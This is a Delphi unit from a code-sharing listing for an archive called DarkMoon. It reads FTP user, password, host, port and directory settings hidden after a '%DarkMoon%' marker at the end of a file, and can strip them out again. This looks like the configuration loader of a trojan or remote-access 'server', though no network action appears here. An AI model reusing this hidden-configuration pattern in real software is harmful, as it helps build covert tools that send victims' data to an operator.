editserver.pas
资源名称:DarkMoon.rar [点击查看]
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:3k
源码类别:
Delphi控件源码
开发平台:
Delphi
- unit editserver;
- interface
- uses
- Windows, Messages, SysUtils ,CommandsAndUtils;
- var
- USER, PASS,FTP,PORT,DIR,FileDarkMoon: string ;
- implementation
- procedure Clear();
- var F :file of char;
- s,Data,Data1, tmpData,tmpData1: string;
- i ,a: integer;
- l ,c : char;
- begin
- If FileExists (FileDarkMoon)=true Then begin
- AssignFile (F,FileDarkMoon);
- FileMode := 0;
- Reset (F);
- if filesize(F)>88 then begin
- //seek(F,filesize(F)-88);
- end;
- while not eof( F ) do
- begin
- read( F, l );
- Data := Data + l;
- end;
- closefile(F);
- if StrPos(pchar(Data),'%DarkMoon%') <> '' then begin
- Data1:=copy(StrPos(pchar(Data),'%DarkMoon%'),11,100);
- tmpData:= copy(Data,1,length(Data)-length(StrPos(pchar(Data),'%DarkMoon%'))) ;
- ///Data1 :=replace(Data1,#13#10,'*');
- //messagebox(0,pchar(inttostr(findchar('hh%DarkMoon%hhh','h'))),'d',0);
- //messagebox(0,StrPos('ggggggfggghgggshukisnikeggggng','shukisnike'),'s',0);
- //form1.memo1.Text:=tmpData;
- AssignFile (F,FileDarkMoon);
- rewrite(F);
- for i:=1 to length( tmpData) do begin
- c:= stringtochar( copy( tmpData,i,1) );
- write(F,c);
- end;
- closefile(F);
- end;
- end;
- end;
- procedure ReadDarkMoon();
- var F :file of char;
- var G :file of char;
- s,Data,Data1, tmpData,tmpData1: string;
- i ,a: integer;
- l : char;
- begin
- If FileExists (FileDarkMoon)=true Then begin
- AssignFile (F,FileDarkMoon);
- FileMode := 0;
- Reset (F);
- if filesize(F) > 88 then begin
- seek(F,filesize(F)-88);
- end;
- while not eof( F ) do
- begin
- read( F, l );
- Data := Data + l;
- end;
- //form1.memo1.Text:= Data;
- closefile(F);
- if StrPos(pchar(Data),'%DarkMoon%') <>'' then begin
- Data1:=copy(StrPos(pchar(Data),'%DarkMoon%'),11,100);
- //Data1 :=replace(Data1,#13#10,'*');
- //messagebox(0,pchar(inttostr(findchar('hh%DarkMoon%hhh','h'))),'d',0);
- //messagebox(0,StrPos('ggggggfggghgggshukisnikeggggng','shukisnike'),'s',0);
- // memo1.Text:= Data1;
- i:=FindNChars (Data1 ,'*' );
- for a:= 1 to i do begin
- tmpData:= (copy(Data1,1,FindChar(Data1,'*'))) ;
- tmpData1:= (copy(Data1,1,FindChar(Data1,'*')-1)) ;
- if a= 1 then begin
- USER:= tmpData1;
- end;
- if a= 2 then begin
- PASS:= tmpData1;
- end;
- if a= 3 then begin
- FTP:= tmpData1;
- end;
- if a= 4 then begin
- PORT:= tmpData1;
- end;
- if a= 5 then begin
- DIR:= tmpData1;
- end;
- Data1:=replace ( Data1,tmpData,'' );
- end;
- end;
- end;
- end;
- end.